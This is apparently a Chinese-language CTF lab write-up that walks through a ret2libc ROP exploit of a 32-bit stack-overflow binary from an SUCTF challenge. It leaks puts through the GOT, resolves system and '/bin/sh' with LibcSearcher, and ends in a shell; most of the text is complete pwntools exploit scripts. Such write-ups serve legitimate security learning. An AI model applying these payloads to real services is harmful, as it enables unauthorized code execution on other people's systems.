在上次实验的基础上稍微加大点难度,倘若不能直接找到system和bin/sh,之前向内存中直接写入shellcode的方式就行不通了,那么就需要一些其他手段来获得,所以就需要绕过保护。ROP(Return-Oriented Programming, 返回导向编程)就是一种绕过技术,本实验就是通过泄露某个在libc中的内容在内存中的实际地址,通过计算偏移量来得到system和bin/sh的地址,然后利用返回指令ret连接代码,最终getshell。
·chechsec命令检查是否有canary保护
·IDA反汇编
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+1Ch] [ebp-64h]
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("SUCTF is not so hard");
puts("let's have the di er ci try");
read(0, &buf, 0x100u);
return 0;
}
通过看源代码可以看出,可以通过栈溢出进行pwn。
·动态调试
首先要像实验二那样计算出,实现栈溢出需要填充多少字符,这里不再赘述,然后边写脚本边调试,构造payload。
payload='a'*(0x6c+4)+p32(elf.plt['puts'])+p32(main)+p32(elf.got['puts'])
这里的’a’*(0x6c+4)是计算出需要填充的字符数,后面就是通过泄露puts函数在libc中的实际地址。这里需要补充一下关于PLT表和GOT表的知识,程序编译的时候会采用这两个表进行辅助,PLT表为内部函数表,GOT表为全局函数表,两个表相对应,即PLT表中的数据就是GOT表中的一个地址。也就是说PLT表中的数据根本不是函数的真实地址,而是GOT表项的地址,GOT表中的数据才是函数最终的地址。
我们来看一下脚本,
from LibcSearcher import *
from pwn import *
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
p=process('./pwn')
elf= ELF('./pwn')
main=0x080484FD
payload='a'*(0x6c+4)+p32(elf.plt['puts'])+p32(main)+p32(elf.got['puts'])
p.recv()
p.sendline(payload)
puts=u32(p.recv(4))
print('puts',hex(puts))
p.interactive()
然后计算偏移量来得到通过计算偏移量来得到system和bin_sh的地址
libc =LibcSearcher('puts',puts)
libcbase=puts-libc.dump('puts')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
这里就是用了LibcSearcher函数,通过代码不难理解其中的含义。所以现在脚本变成如下
from LibcSearcher import *
from pwn import *
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
p=process('./pwn')
elf= ELF('./pwn')
main=0x080484FD
payload='a'*(0x6c+4)+p32(elf.plt['puts'])+p32(main)+p32(elf.got['puts'])
p.recv()
p.sendline(payload)
puts=u32(p.recv(4))
print('puts',hex(puts))
libc =LibcSearcher('puts',puts)
libcbase=puts-libc.dump('puts')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
print('system',hex(system))
print('binsh',hex(bin_sh))
p.interactive()
执行之后的结果就是得到了system和bin_sh的实际地址
现在继续调试,程序再次执行main函数,所以需要再构造一个payload,将system与bin_sh的地址加在ROP链中,此时栈的状态发生了改变,需要重新计算一下需要填充的字符数,原理与实验二相同,经过计算,payload构造如下
payload='a'*(0x64+4)+p32(system)+p32(0x61616161)+p32(bin_sh)
这样就可以利用ROP链调用system执行system(“/bin/sh”),这样再次与程序交互,就可以getshell了。
from LibcSearcher import *
from pwn import *
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
p=process('./pwn')
elf= ELF('./pwn')
main=0x080484FD
payload='a'*(0x6c+4)+p32(elf.plt['puts'])+p32(main)+p32(elf.got['puts'])
p.recv()
p.sendline(payload)
puts=u32(p.recv(4))
print('puts',hex(puts))
libc =LibcSearcher('puts',puts)
libcbase=puts-libc.dump('puts')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
print('system',hex(system))
print('binsh',hex(bin_sh))
payload='a'*(0x64+4)+p32(system)+p32(0xdeadbeef)+p32(bin_sh)
p.sendline(payload)
p.interactive()
来看一下执行效果
getshell成功!
本次实验的难度较之上次有大的增大,更加贴近实际,不过也只是入门而已。这种东西需要自己不断的学习积累,需要不断扩宽视野,增大脑洞。